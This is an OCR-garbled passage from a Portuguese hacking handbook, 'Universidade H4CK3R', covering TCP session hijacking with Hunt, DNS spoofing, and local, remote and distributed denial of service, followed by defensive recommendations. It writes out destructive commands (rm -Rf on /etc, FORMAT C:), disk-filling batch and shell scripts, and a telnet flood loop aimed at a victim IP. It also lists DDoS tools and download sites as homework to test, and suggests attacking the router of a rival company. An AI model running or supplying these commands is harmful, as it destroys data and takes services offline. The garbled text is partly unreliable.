mesmo ocorrendo com a resposta de "Coitada" para Windows.
Isso ocorrer indefrnidamente, at que o Hacker deseje capturar a conexo.
Para tal, basta pressionar ControI+C. Na tela, aparecer a mensagem:
- press any key>
1295 I
IAtaque, defesa e contra-ataque: Invaso
IUniversidade H4CK3RI
Assim que wna tecla qualquer for pressionada, a tela do Hunt se parecer com
isso:
- press any key>
you took over the connection
CTRL-] to break
Pronto! J estamos em modo interativo com a sesso capturada. A mquina
Windows no tem mais controle sobre a conexo, tudo o que o usurio digitar
ser ecoado no Hunt na cor verde, mas no ser enviado Coitada. Por outro
lado, tudo o que o Hacker digitar no Hunt ser enviado mquina Coitada.
Como uma sesso de Telnet, digitar comandos de shell no Hunt resultar em
sua execuo em Coitada.
- press any key>
you took over the
CTRL-] to break
ls
ls
ls
exit
cazzo!
connection
Comandos digitados pelo
usurio que perdeu a conexo
coitada [/home/usuario] > ls
Desktop README Xresources Xsetup
aliases.sh chooser
j tmp
coitada [/home/usuario] > W
1:44am up 7 days, 5:44,
USER TTY FROM
root ttyl
usuario pts/2
root pts/O
root pts/l
coitada [/home/usuario]>
192.168.1.1
4 users, load average: 0.99, 1.22, 1.20
LOGIN@ IDLE JCPU PCPU WHAT
Wed 3pm 3:48m 0.07s 0.07s -bash
1:07am O.OOs 0.03s O.Ols w
29May03 7days O.OOs ?
Wed 3pm 9:28m 0.15s 0.15s /bin/bash
Na tela da mquina Windows ser mostrada a seguinte informao:
$ls
$ls
$ls
$exit
$cazzo!
Ou seja, o usurio tem wna realimentao do que digitou, e nenhuma mensa-
gem de falha ser mostrada - simplesmente no acontece nada! Essa sada , na
verdade, fomecida pelo Hunt. Ele inclui o carter $ para dar uma impresso de
prompt do shell - lie and deceive...
2961
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
Com controle sobre "Coitada", o hacker pode tentar o que quiser: colocar um
backdoor, apagar tudo, fazer download de documentos e arquivos importantes
(inclusive o arquivo de senhas), usar a mquina como trampolim para outro ata-
que (mais uma maneira de spoofing...), tentar ganhar acesso irrestrito, etc, etc, etc.
muito importante observar que usamos um servidor Unux como exemplo, mas o
procedimento o mesmo para qualquer plataforma. Poderamos tranqilamente
ter usado o Hunt para seqestrar uma sesso entre uma estao Wmdows 98 e um
servidorWmdows 2000 com ns e Telnet habilitado (ou FIP ou HTTP ou POP...).
Quando cansar de brincar, o invasor pressiona Control+] para sair.Ele ter, ainda,
a opo de derrubar a conexo (e o usurio na mquina Wmdows receber uma
falsamensagem de problemas com a rede) ou ressincroniz-la.O Hunt inteligente
nessa hora: ele tem registrados os nmeros TCP seqenciais vindos da mquina
Windows e da prpria mquina Unix, na qual est o programa. Dessa forma, o Hunt
sabe quantos pacotes Wmdows tem de enviar para o "limbo" antes de permitir sua
reconexo mquina Coitada. Por exemplo, se o Hunt enviou 45 pacotes TCP para
a Coitada, quando a captura da sesso for finalizada a mensagem
msg from root:power failure- try to type 45 characters
ser mostrada na tela de Windows. Assim que o usurio digitar a 45a tecla, os
nmeros seqenciais TCP estaro novamente em sincronia. A sesso pode con-
tinuar normalmente - e, na maioria dos casos, o usurio em questo sequer
perceber o que aconteceu. Mas tenha em mente que a maioria das vezes no
significa todas, e um usurio que conhea o comportamento do Hunt facilmen-
te identificar a falcatrua e avisar a autoridade competente.
Tarefa para. casa: tente fazer exatamente o mesmo com o Dsniff (leia a docu-
mentao!). Voc ver que, por no ser uma ferramenta integrada como o
Hunt, mas um conjunto de pequenas ferramentas de uso especfico, ter de
usar vrias delas para obter o mesmo efeito. Entretanto, no mais perfeito estilo
Unix de fazer as coisas, tambm ver que bem mais fcil automatizar o ata-
que com um shell script que faa uso delas.
Outros mtodos de desviar trfego
H muitas outras formas de colocar-se na posio de man-in-the-middle e fazer
o trfego passar por seu computador antes de chegar ao destino. Algumas delas
incluem desviar trfego web por meio de DNS Spoofmg. H ferramentas (como
o dnsspoof, incluso na sute Dsnift) que podem ser programadas para enviar
falsas respostas a requisies DNS. Por exemplo, o site da Digerati est hospeda-
do no host 200.246.179.102. possvel usar o dnsspoof para fazer um intemauta
qualquer acreditar que, em vez disso, o domnio digerati.com.br est em
200.230.xxx.yyy. Lpode haver um site falso ou um sniffer que grave as informa-
es passadas e redirecione o trfego ao site verdadeiro.
Outra forma de desviar o trfego bastante empregada faz uso do Netcat -
uma ferramenta poderosssima e presente em todos os Unix e no Windows.
12971
1 Ataque, defesa e contra-ataque: Invaso
IUniversidade H4CK3R I
Veremos os diversos usos do Netcat no prximo captulo.
Uma ltima dica: h um excelente documento em packetstorm.linux
security.com/new-exploits/ssh-insertion-attack.txt que discorre sobre captura
de sesses usando o protocolo Secure Shell ou SSH. O SSH, grosso modo, um
primo do Telnet cuja conexo toda criptografada. Bem, esse documento ensi-
na a "meter-se" nessa conexo que muitos consideram segura.
Negao de servio (DeniaL of Service)
Nem sempre queremos obter acesso a algum sistema. Muitas vezes, por vingan-
a, terrorismo ou simples depredao, queremos apenas derrubar um site, sistema
ou rede e causar o mximo possvel de prejuzos vtima. Tal procedimento
chamado atualmente de Negao de Servio porque o resultado , via de regra, a
indisponibilidade temporria ou permanente do servio que estamos atacando.
Outras vezes um Denial of Service (ou DoS, como normalmente chamado)
necessrio como parte de um ataque maior, como vimos em nossos procedi-
mentos de spoofing neste mesmo captulo. De uma forma ou de outra, um
ataque do tipo DoS o cibercrime mais deselegante que se pode cometer -
como "partir para a ignorncia", como diziam os antigos. Sem entrar em deta-
lhes sobre as conseqncias mercadolgicas, polticas e financeiras de um ata-
que DoS bem-sucedido, podemos consider-Io to mortal quanto moralmente
baixo, da mesma forma que uma briga de rua o .
Para entender a negao de servio, imagine qualquer sistema conectado
Internet que se queira derrubar como sendo um servio "no mundo real"; flo-
ricultura, pizzaria, polcia, defesa civil, etc... Imagine, por exemplo, que voc
queira colocar fogo em um prdio pblico e ter certeza de que no ter seus
planos arruinados por algum bombeiro com vocao para heri. Uma das ma-
neiras de impedir que os bombeiros entrem em ao impedir que eles saibam
que o prdio est em chamas. Para tal, basta manter todas as linhas do 193
congestionadas com trotes. Emergncias legtimas nunca sero atendidas.
Ainda no mbito telefnico, um belo exemplo de negao de servio pde ser
visto no ftlme Duro de Matar 3: o terrorista interpretado por Jeremy Irons
colocou uma bomba em alguma escola primria do municpio de Nova York.
Alm de no informar polcia em qual escola o aparato estava instalado, o
bandido ainda divulgou a presena da bomba para a mdia. Resultado: a popu-
lao inteira da cidade comeou a ligar para os nmeros da polcia, congestio-
nando as linhas e impedindo os policiais de trabalhar.
Negao de servio local
H diversos nveis de DoS. Os mais bsicos so os causados por pessoas com acesso
fsicoao sistema - em outras palavras, literalmente "meter a marreta" no equipamento.
Passar com o caminho por cima da lombada eletrnica para tir-Iade servio (e livrar-
se da multa) tambm pode ser considerado um tipo de negao de servio.
1298 I
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
Um DoS de nvel um pouco mais alto (no mais na sarjeta, mas ainda mendi-
gando na calada) seria o acesso lgico aos sistemas. Usurios com contas ou
invasores que conseguiram acesso limitado podem tentar destruir o sistema
com comandos nocivos. H diversas maneiras de fazer isso.
~ Apagamento ou destruio: um usurio com uma conta em um servidor
Solaris poderia tentar um rm -Rf. em um diretrio sensvel - o letc, por exem-
plo. Caso o ambiente seja Windows, nada mais fcil que um FORMATC: ou um
DEi *.*IS/Q.
~ Consumo de recursos: mesmo usurios com acesso muito restrito de-
vem poder rodar programas no sistema - como trabalharo sem eles? Isso
posto, possvel criar programas especialmente talhados para aumentar em
progresso geomtrica o consumo de recursos da mquina - seja por mlti-
plos acessos a disco, inundao das interfaces de rede com trfego esprio,
multiplicao indeftnida de processos ou mesmo gravao ininterrupta de
dados em arquivos at preencher todo o espao disponvel.
~ Vulnerabllidades locais: um buffer overflow, se bem-feito, pode levar a
acesso irrestrito ou execuo de comandos arbitrrios no sistema vulnervel.
Um ataque mal-feito, entretanto, pode apenas travar o programa. Se o progra-
ma for vital para o sistema (como partes expostas do kernel em um Windows
N1) ou oferecer um servio aos usurios externos (como o X-Window ou o
Sendmail em um Unix), o estrago ser maior. Caso o lixo jogado na pilha seja
em quantidade realmente grande, possvel que o sistema todo caia.
~ Acesso irrestrito: usurios com acesso privilegiado (por exemplo, um
administrador de rede insatisfeito com seu salrio) podem fazer diversas
"malvadezas" como reconftgurar servios ou matar processos importantes, alm
de plantar cavalos de tria, bombas de tempo e diversos tipos de vrus.
H diversas ferramentas na Internet que se prestam a esse papel, e mesmo
script-kiddies com um pouco mais de tutano podem criar ferramentas simples
para tal. Quer um exemplo? Em uma mquina Windows, crie um arquivo
DADOS.BATe, dentro dele, coloque:
@ ECHO OFF
ECHO UHackerU > DADOS.DAT
:VOLTA
TYPE DADOS.DAT SYSTEM.DAT
TYPE SYSTEM.DAT DADOS.DAT
GOTO VOLTA:
12991
]Ataque, defesa e contra-ataque: Invaso
I Universidade H4CK3R I
Rode o programa DADOS.BAT e voc ver os arquivos DADOS.DAT e
SYSTEM.DATcrescerem indefinidamente. Emum shell Unix to simples quanto.
Experimente o seguinte script (chame-o de dados.sh):
#/bin/sh
touch dados. da t
touch systern.dat
echo llhackerll dados.dat;
while [ 1 = 1 ];
do
cat dados.dat systern.dat;
cat systern.dat dados.dat;
done;
Execute o programinha (dados.bat no Windows, sh dados.sh no Unix) e
veja o que acontece. Aparentemente nada, mas se voc der um ls no Unix ou dir
no DOS para listar os arquivos (em outro shell ou outra janela do DOS) ver
que o tamanho de DADOS.DATe SYSTEM.DATcrescem exponencialmente
medida que o tempo passa. Rodando por apenas um minuto (60 segundos
exatos) os tamanhos ficaro da ordem de 100 MB cada. Mais dez minutos e
teramos dois arquivos de 1 GB cada, em 60 minutos (uma msera hora) tera-
mos 12 GB ocupados. Os programas em DOS e Unix apresentaram desempe-
nho semelhante quando executados no mesmo hardware.
Observe que nenhum dos 2 scripts precisou de privilgios especiais para
rodar: foram executados diretamente na rea autorizada para o usurio e usa-
ram ferramentas e recursos disponveis no sistema - nada precisou ser instala-
do. Observe ainda que os quatro problemas listados - apagamento ou destrui-
o, consumo de recursos, vulnerabilidades locais e alteraes por acesso
irrestrito podem muito bem ser implementadas nos V1fUSque chegam a voc
pela Internet e por disquetes e CDs infectados!!! De fato, os V1fUSde computa-
dor, desde que surgiram no incio dos anos 80, so um exemplo clssico de
negao de servio local!
Mas tudo isso de muitssimo baixo nvel. Se algum sistema computacional
est merc de operrios braais munidos de marretas e picaretas algum
deve perder o emprego - provavelmente o segurana da portaria e o CEO da
empresa... Entretanto, h alguns tipos de ataques orquestrados externamente
- em outra parte da rede interna da empresa ou mesmo via Internet.
Negao de servio remoto
Alm do annimato inerente aos ataques remotos, h uma inftnidade de m-
todos e ferramentas que permitem que um ataque remoto tipo DoS seja des-
300 I
Ataque, defesae contra-ataque: Invaso [
Universidade 3ano
truidor. Vamos nos ater mais teoria sobre DoS e indicar algumas ferramentas
para levar tais ataques a bom termo. Mas como , de longe, a modalidade de
ataque mais popular, documentada e comentada da Internet, deixaremos ao
leitor a tarefa de buscar mais informaes a respeito.
H dois "subtipos" de ataques DoS remotos. Alguns deles atacam
vulnerabilidades conhecidas nos sistemas-alvo - como as falhas de RPC que
resultaram na queda de nove dos 13 roteadores-raiz da Internet (todos nos
EUA) em outubro de 2002. O outro grande grupo de DoS remoto procura
exaurir todos os recursos do alvo - seja ocupao de banda da rede, multipli-
cao descontrolada de processos no servidor HTTP ou inundao de mensa-
gens de e-mail - possivelmente acompanhadas de vrus potencializadores do
ataque, como o Klez e o BugBear. O famoso e ancio Ping of Death - tipo de
ataque usando o utilitrio Ping para gerar pacotes ICMP defeituosos e gigan-
tescos - pertencia a ambos os tipos: gerava uma fragmentao defeituosa
dos pacotes e ao mesmo tempo consumia banda.
Um exemplo de ferramenta de DoS remoto do primeiro tipo o veterano
WinNuke. O programa aproveitava uma falha existente no Windows 95 e no
Windows NT 3.51: caso a porta 139 - nossa velha conhecida do
compartilhamento de arquivos em redes Microsoft - recebesse pacotes no
vlidos em lugar do protocolo 5MB, o sistema operacional travava. H ver-
ses atuais do WinNuke que exploram outras vulnerabilidades - uma vez
que essa foi consertada no Windows 98 e no NT4 - e trabalham tambm com
exausto de recursos.
Para saber mais sobre esse tipo de ferramentas, procure por DoS ou
malformed packet dos attack em seu mecanismo de busca. Inmeras ferra-
mentas para esse e outros tipos de ataque podem ser encontradas em
packetstormsecurity.nl/DoS/ e em www.astalavista.box.sk.
J recaindo no segundo tipo, o tipo mais comum de ataque o SYNFlood ou
inundao de pacotes TCP SYN.Lembra-sede nossa primeira tentativa de spoofing?
Enfivamosum SYNcom IP de origem diferente do nosso. Naquela situao, no
conseguamos estabelecer uma conexo spoofada por dois motivos:
1. Como a mquina atacada no sabia nosso IP verdadeiro, no poderia
responder-nos;
2. A mquina pela qual nos fazamos passar retornava pacotes TCP RST e
acabava com nossa conexo - e com nossa alegria...
No caso de um DoS por SYNFlood, de que nos importa se seremos respondi-
dos ou no? O que vale enviarmos tantos TCP SYNSpoofados quanto poss-
vel, para que a mquina-alvo se ocupe de respond-Ios e no tenha tempo de
responder a outras requisies de outras pessoas. Lembre-se: a vtima vai envi-
ar um SYN-ACKe esperar por ACKs que nunca viro. Isso acabar por impos-
sibilitar a vtima de responder a qualquer outro pedido de conexo ou mesmo
atender a conexes j existentes.
1301 I
1 Ataque, defesa e contra-ataque: Invaso
IUniversidade H4CK3RI
Obviamente h outros mtodos para DoS alm do SYNFlood. Um outro m-
todo muitssimo usado faz uso de pacotes ICMP Echo Request (ping!) dispara-
dos tambm em inundao. Se o IP estiver spoofado, a mquina-alvo no res-
ponder ao IP de origem, mas ao IP falso. Uma extrapolao do DoS utilizando
ICMP o famoso Smurf: dispara-se ICMP Echo Request para um grande nme-
ro de mquinas, mas colocando como endereo IP de origem o IP da vtima (e
no um falso). O resultado um grande nmero de mquinas refletindo ao
mesmo tempo uma multido de pacotes ICMP em direo vtima, que sai do
ar praticamente no mesmo instante.
~~,
IPx.x.x.2
~
IPdaltima
..
- 'Socorro!
~-t~~-~ ~
~~
~
Outra possibilidade usar uma mensagem UDP em vez de ICMP.H um servio
chamado echo, funcionando na porta 7 UDp,que simplesmente devolve ao endere-
o de origem tudo o que chegar por ela. Bem, imagine ento enviar um pacote
UDP spoofado, cujo IP de origem 127.0.0.1 (ou seja, o loopback - em outras
palavras, a prpria mquina) e o IP de destino o IP da mquina. Emuma situao
dessas, o pacote UDP entra em loop dentro da mquina. Um nmero pequeno
desses pacotes basta para comprometer toda a pilha TCP!IPdo sistema operacional
e consumir grandes percentagens da banda de rede disponvel. Extrapolando da
mesma forma como no ataque Smurf, pode-se enviar para a porta UDP7 de inme-
ras mquinas pacotes com
IP de origem igual ao da v-
tima.Todas elas devolvero
o presente para a mquina
sob ataque - comprome-
tendo a banda novamente.
Se o hackerusar broadcast,
ento, o que era uma leve
malvadeza passa a ser uma
calamidade. Tal ataque
chamado de Fraggle.
Origem: 127.0.0.1
.
Destino:IPdaVtima
PortaVOP7
3021
Ataque, defesa e contra-ataque: Invaso r
Universidade 3ano
Alm desses mtodos que tiram a mquina do ar, h outros tipos bem mais
sutis, e mesmo alguns inusitados. Por exemplo, lembra-se de nossos programas
de brute force? Alguns sistemas, para evitar justamente serem invadidos por
brute force, limitam o nmero de logins permitidos (o nmero varia, mas a
quantidade usual trs). Bem, um programa de brute force pode ser usado,
ento, para bloquear sistematicamente todas as contas do sistema, impedindo
que qualquer usurio-se logue. Trs acessos em cada conta so suficientes, o
que toma a operao extremamente rpida e eficaz.
Pode-se tambm multiplicar conexes a um servio especfico at que todos
os recursos do servidor em questo sejam consumidos - seja na forma de pro-
cessos abertos, seja por meio de esgotamento de banda. Por exemplo, se quere-
mos derrubar um computador cujo servidor de Telnet esteja ligado, basta ro-
darmos um script como este em nossa mquina Unix:
while [1=1] ;
do
telnet ip.da.vtima.aqui &
done;
possvel fazer o mesmo no Windows com um pouco mais de trabalho.
Troque telnet pelo lynx e voc tem uma ferramenta para causar o mesmo
estrago em servidores HTfP. Troque pelo comando maU e voc poder encher
o servidor SMTp' etc. H ainda a possibilidade de fazer o mesmo com ping,
Redes Microsoft, SSH, FTP (servidores FTP do Novell Netware so especial-
mente apetitosos...), Usenet, Finger, MS-SQL, MS-Access,ICQ...Acho que voc j
"pescou" a idia.
Apesar dos ataques acima descritos poderem ser feitos manualmente por
hackers de verdade, existem algumas ferramentas que facilitam e automatizam
esse tipos de ataque - e os lammers as adoram. Tais ferramentas podem ser
encontradas aos montes nos mesmos lugares anteriormente citados:
packetstormsecurity.nl/DoS/ e em www.astalavista.box.sk. No endereo
www.astalavista.com/library/ddoslbasics/intro.shtml h um tutorial interes-
sante (em ingls) sobre diversos tipos de pequenos ataques de DoS local e
remoto que podem ser tentados. Estude todos eles, procurando na Internet
exemplos e informaes adicionais sobre cada um.
Mas h algo muito mais malvado que DoS simples: os ataques por negao de
servio remoto distribudo, ou DDoS.
Negao de Servio Remoto Distribudo
Os ataques Smurf e Fraggle j so maneiras efetivas de ampliar ataques origi-
nados em um nico ponto - por isso mesmo so chamados de "lentes de au-
mento". Entretanto, mesmo se utilizando dessa lente, a banda de rede dispon-
vel para o atacante limitada, e ele no pode manter um ataque com muitos
I 303 I
1 Ataque, defesa e contra-ataque: Invaso
I Universidade H4CK3R I
pacotes para cada mquina amplificadora e manter, ao mesmo tempo, muitas
mquinas amplificadoras enviando esses mesmos pacotes vtima.
Para resolver a parada, foi desenvolvido um certo tipo de ataque em que os
pacotes destinados s vtimas no saem da mquina do hacker, mas de compu-
tadores zumbis controlados remotamente por ele. Nesses computadores, o
hacker instala certos tipos de cavalo de tria ou vtrUs que respondem a coman-
dos externos e funcionam como fonte geradora do ataque so os chamados
agentes ou zu.m.bis.O "contgio" d-se pelos mesmssimos mtodos j estuda-
dos at aqui - invaso, distribuio camuflada e mesmo cooperao. O atacan-
te possui um ou mais programas mestre, que controlam os agentes.
Lembra-se de quando dissemos que a invaso de sistemas menores poderia
ser usado como trampolim para chegar vtima principal? Pois bem, esta
uma das situaes. O atacante leva semanas, s vezes meses, para invadir pe-
quenos sistemas -
computadores pesso-
ais e servidores de pe-
quenas empresas -
sem que seu interesse
imediato seja tais m-
quinas. Elas sero usa-
das, isso sim, como
zumbis num ataque a
grandes companhias
(1234 1234 1234...), e
para isso necessrio
que os softwares ade-
quados estejam insta-
lados nelas. O hacker
pode, inclusive, con-
sertar algumas coisas
e at atualizar a m-
quina do indivduo,
caso isso seja necess-
rio para que o ataque
principal seja levado a
termo.
Uma vez instalado os
agentes, o hacker pode
iniciar um ataque a par-
tir do mestre:
3041
Ataque. defesa e contra-ataque: Invaso [
"Salvem-me!"
Universidade 3ano
Imagine agora que o hacker mais tarimbado. Um ataque DDoS pode ser
sofisticado com a distribuio de diversos mestres, controlados tambm
distncia pelo invasor. Ele pode tanto usar ferramentas especiais para tal, j
existentes, como tambm usar coisas do sistema operacional como o Netcat
ou o Telnet.
"Salvem-me!"
1305 I
]Ataque, defesa e contra-ataque: Invaso
IUniversidade H4CK3R I
Agora, uma pitada a mais de maldade: cada um dos agentes pode usar lentes
Smurf ou Fraggle para multiplicar sua fora. Um ataque com essa configura-
o devastador!
13061
Ataque, defesae contra-ataque: Invaso [
Unive.rsidade 3ano
Masters and Slaves
H uma infinidade de ferramentas para todos os ataques 000 e DDoS descri-
tos aquLA maioria pode ser encontrada nos dois sites indicados anteriormente:
packetstormsecurity.nl/DoS/ e www.astalavista.box.sk. Outra seo,
packetstormsecurity.nl/distributed/, trata de ferramentas e tutoriais DDoS.
Procure, nos sites indicados e em seu mecanismo de busca preferido, infor-
maes e download das seguintes ferramentas:
. Fapi
. Targa
. Blitznet
. TrinOO/WinTrinOO
. TFN/TFN2k/TFNWin
~Stacheldraht
~Shaft
~Trank
~Trinity
Como tarefa para casa, o estimado leitor ter que ler a documentao e tes-
tar todos, um a um, e descobrir em quais categorias (s vezes mais de uma)
cada um deles se encaixa.
Outra tarefa: procure informaes sobre ataques a roteadores. Voc ficar
surpreso em saber que por vezes mais fcil atacar equipamentos intermedi-
rios da Internet do que o alvo fmal. Se est muito difcil tirar do ar o servidor
daquela empresa inimiga do meio-ambiente, talvez o roteador ligado a ele seja
o lado mais fraco - e, de quebra, deixa a rede interna deles sem acessos
Grande Rede.
Defesa e contra-ataque
Bem, l vamos ns. Este foi um captulo longo. Procuramos colocar nele o
bsico do bsico sobre ataques a computadores e redes. Ustamos aqui, portan-
to, algumas dicas sobre o que procurar e por onde comear para segurar seus
sistemas e evitar que sejam atacados com essas tcnicas.
Recomendaes aplicveis a todos os tipos de ataques
O mais importante! Deixe ativados apenas os servios que est realmente
usando. Se o servidor apenas de HTTP e FTp, desabilite Finger, Telnet, SSH,
SMTP,POp, IMAP,Quake...
Configure corretamente seu fIrewall, e tenha sempre mais de um tipo, pelo
menos um diferente para cada lado da DMZ. Prefira f1ltros de pacote por esta-
do de conexo (Stateful Packet Filters) e fIrewalls do tipo Proxy. Mesmo com
os servios desabilitados nos servidores, feche as portas correspondentes no
13071
1 Ataque, defesa e contra-ataque: Invaso
IUniversidade H4CK3R I
firewall para evitar trfego fantasma (por exemplo, de backdoors) e ACK
Scanning. No tenha preguia: faa uma tabela de regras de ftltragem realmen-
te longa e abrangente, preferencialmente associando portas e endereos e no
simplesmente bloqueando.
Mantenha sempre seus sistemas atualizados para evitar ser invadido por
vulnerabilidades conhecidas e bem documentadas. Ateno especial aos hotfixes
e Service Packs da Microsoft - o que no quer dizer que seus sistemas Unix e
Novell precisam de menos cuidado.
Por padro, crie usurios com o nnimo possvel de privilgios e v aumen-
tando-os medida que seja preciso. Caso o usurio no precise mais do privil-
gio, no hesite em cass-Io. Crie polticas severas e consistentes de contas, que
incluam nomes de login no-bvios, gerenciamento ostensivo de contas ativas,
desativao imediata (ou antes, cancelamento) de contas ociosas, senhas fortes
contendo letras, nmeros e smbolos e regras para alterao de senhas em
menos de 30 dias. Alm disso, um documento interno oficial, assinado pelo
funcionrio, deve regular claramente os equipamentos autorizados a conectar
rede e prever punies caso a rede seja invadida ou comprometida por mau
uso ou descuido do usurio.
War DiaLingeBrute Force
Em primeiro lugar, tente atacar a si mesmo com ferramentas de fora bruta.
Se voc no deveria possuir modems ou acessos pessoais de alta velocidade
ligados sua rede, esta uma boa maneira de descobrir. Ao menor sinal de
modem discado, cable modem ou aDSLno autorizados em seu sistema, remo-
va-os imediatamente!
Para sistemas acessveispor Internet ou por conexo via terminal, a recomendao
no dar acesso a todas as contas por default. E cuidado com as contas padro do
sistema! Obrigatoriamente, os acessos devero ser feitos por VPNs criptografadas.
No caso de seu negcio ou instituio realmente necessitar de modems e
logins externos via Internet ou SSH, a poltica de senhas e acesso da empresa
deve ser seguida risca, e as penalidades aplicadas de forma exemplar.
Estouro de pilha
No h muito o que dizer alm do bvio: se voc programador, sua obriga-
o escrever cdigo imune a buffer overflow. Mesmo sendo inerente s lin-
guagens de programao, possvel implementar rotinas de verificao que
barram injeo maliciosa de dados.
Se voc administrador de sistemas ou mesmo usurio domstico, mantenha
seu sistema sempre atualizado com os ltimos "remendos" publicados pelos
fabricantes de seu software. E no se concentre apenas nos servidores: as esta-
es tambm so vulnerveis e portas de entrada para sua rede.
13081
Ataque, defesa e contra-ataque: Invaso [
Universidade 3ano
Quebra de senhas
Para comear, use ferramentas de quebra de senha em voc mesmo. S termine
quando estiver satisfeito com o resultado - que deve ser, por acaso, zero: nenhuma
senha a descoberto. Faa esse teste periodicamente, pelo menos com o dobro da
freqncia com a qual as senhas devem ser mudadas. Se a poltica da empresa obriga
os usurios a mudar a senha a cada 30 dias, tente quebrar as senhas do sistema pelo
menos a cada 15 dias.
O mtodo mais eficiente para barrar o brote force limitando o nmero de logins
e bloqueando temporariamente (e no em definitivo) as contas do sistema. Isso cria
um problema de DoS, mas ainda melhor que ter seus dados comprometidos.
Evite o roubo de senhas a todo custo, e dificulte ao mximo a vida do cracker que
porventura consegu-Io. Vale desabilitar os 1M Hashes no Windows NT/2k, criar um
servidor de login centralizado, com criptografia e segurana (como o Kerberos), usar
Shadow Passwords no Unix (tambm com login centralizado via LDAP+Kerberos) e
mesmo criptografar os sistemas de arquivos.
As severas polticas de senhas descritas acima tambm se aplicam neste caso. Bem
como campanhas de consientizao dos usurios para os males das senhas fracas e
do comportamento de risco - senhas no devem ser escritas em lugar algum, muito
menos divulgadaso NUNCA!
Por fim, a instalao de softwares que rejeitam senhas fracas no ato do cadastro do
usurio (e posterior troca de senha peridica - sua empresa instituiu isso, no ?)
um ponto-chave para evitar que os usurios coloquem em risco toda a rede por
colocar o nome do cachorro como senha pessoal.
War Driving
Criptografe sua rede e ative o WEP. Ponto fmal.
SQl Injections e Cookie Poisoning
Crie dispositivos de verificao em todos (repito: todos) os campos de todos (no-
vamente repito: todos) os formulrios do seu site na Internet. Bloqueie sumariamen-
te caracteres perigosos como =,' e", *,%e _oUma boa poltica liberar apenas letras
e nmeros e bloquear todo o resto.
Use sempre o mtodo POST para envi-Ios ao script processador, uma vez que o
mtodo GET deixa informaes importantes na URL. Se possvel, criptografe os cam-
pos antes de envi-Ios. Melhor ainda: use conexes HTTPS/SSLcom certificados emi-
tidos por empresas idneas e criptografia forte.
No caso de cookies, faa um controle de sesso coerente, com session IDs preferen-
cialmente criptografados e, se possvel, dinmicos - mudando a cada pgina acessada.
No se deve confiar apenas na criptografia do SSL: criptografe tudo vrias vezes
ANTESde enviar por HTTPS (que tambm criptografado).
1309 I
]Ataque, defesa e contra-ataque: Invaso
I Universidade H4CK3R I
Sniffing, Spoofing e Hijacking
Em primeiro lugar, coloque f1ltros anti-spoof e detectores de sniffers em to-
dos os pontos de entrada, sada e passagem (roteadores entre sub-redes) de sua
rede. IDSs so bem vindos e grandes companheiros dessas ferramentas.
Mesmo no sendo impeditivo para a ao do hacker, um agente complicador:
instale switches e bridges em vez de hubs e segmente sua rede ao mximo.
Alm do benefcio do desempenho, isso cria uma camada a mais de dificuldade
para o invasor. Se possvel, divida a rede em subredes e coloque roteadores
com f1ltros de pacotes muito bem estruturados para interlig-Ias. Dependendo
do nmero de pessoas, tempo, oramento e tamanho da rede, possvel confi-
gurar estaticamente as tabelas MACdos switches e bridges em cada uma de
suas portas. Comisso,o equipamento ficaimune aARPSpoofmge MACFlooding .
(mas no ao entupimento da rede ou mesmo negao de servio possivel-
mente provocados por eles). Mas prepare-se: uma tarefa herclea...
Outro mtodo para dificultar (e muito!) a ao dessas ferramentas a
criptografia sistemtica de toda a rede. Toda ela. Use tudo o que estiver mo,
cada qual para sua funo especfica: PGP/GPG, IPSec, HTTPs, SSH(use sem-
pre SSHverso 2!). J vi projetos de VPNs com vrios nveis de tunelamento,
todos criptografados. Leve em conta o fato de que cada nvel criptogrfico tem
um impacto negativo fenomenal no desempenho total da rede e use o bom
senso para dosar performance e segurana..
Implemente DMZs no s entre a rede corporativa e a Internet (isso mio-
pia!), mas tambm diversos nveis de DMZs e mesmo DMZs interdepartamentais!
Verifique a predictabilidade dos nmeros seqenciais TCP de seus computa-
dores. Mquinas Windows 9x tornam isso brinquedo de criana, mquinas
FreeBSD e Solaris, por outro lado, so famosas por serem praticamente
randmicas nesse ponto.
Se estiver usando sistemas Unix, esquea os Unix Trusts. Alm deles, outro
esquema de confiana muito ruim o que a Microsoft chama de PDC/PDC
Trusted Relations no Windows NT. Evite-os completamente. Prefira sistemas
modernos como o Novell eDirectory ou as inmeras implementaes do LDAP,
incluindo a o AOSda Microsoft. Mas use sempre um esquema de criptografia.
Se nada disso estiver disponvel, mais seguro deixar o usurio logar-se indivi-
dualmente em cada um dos sistemas da empresa do que ter um sistema de
autenticao centralizado cujo esquema de confiana falho.
Negao de Servio
IDSs ajudam a detectar ataques DoS locais - a no ser que o ataque destrua o
prprio IDS, o que bem possvel e mesmo provvel.
As defesas contra IP Spoofing, ARP Spoofing e MAC Flooding tambm aju-
dam aqui. Tabelas MACestticas em switches idem.
1310I
Ataque. defesa e contra-ataque: Invaso
Universidade 3ano
Sistemas com a ltima atualizao liberada pela fabricante so menos expos-
tos a DoS baseados em vulnerabilidades conhecidas. Alguns sistemas possuem
patches que os tomam inclusive imunes a ataques do tipo SYNFlood e Smurf.
Se possvel, compre mais velocidade para sua conexo e tenha sempre rotas
alternativas (e secretas!) caso a conexo principal esteja inundada. Adequao
de trfego (Traffic Shape) tambm desejvel.
Para o DDoS, uma nica recomendao, alm das anteriores: mantenha os
zumbis longe de suas mquinas! Faa uma auditoria peridica em todos os
computadores procura de portas suspeitas ou programas no-autorizados.
Uma ltima dica: Echolot (echolot.sourceforge.net).
I 311 I
Ataque, defesa e contra-ataque: Invaso
Ataque, defesa e
contra-ataque: .
Manutenco
.
Captulo
"Now/'m coming through the backdoor
How did / get here /00 / mind
/n an eerie sort ofway
/ sense you reaching...
Wil!you linger a little longer
While / wonder'
TadpoLe, "Backdoor"
i. -Entro livremente por sua porta de trs I Mas como
cheguei a ela? I At me importo I mas desprezo voc I
Eu o sinto me alcanar ... I Voc ficar por ai um pouco
mais? I Eu fico aqui-. Do single Backdoor. de i999.
IUniversidade H4CK3RI
Ganhar acesso a um sistema qualquer - seja ele um web site, uma rede, um
computador Macintosh ou um servidor Novell - no bolinho. Em todos os
captulos preparatrios e especialmente no anterior, vimos alguns mtodos de
como preparar o terreno e ganhar acesso aos nosso alvos. No todos, no mui-
tos, sequer os mais importantes: a fIm de ilustrar os passos a serem seguidos,
vimos apenas um ou outro exemplo.
No tome este livro, portanto, como uma enciclopdia de ataques. Em vez
disso, use-o como cartilha para aprender o b-a-b, e v pesquisando e estu-
dando nos recursos indicados em todos os captulos. Leituras adicionais so
muito importantes. A srie Hackers Exposed (McClure, Scambray e Kurtz,
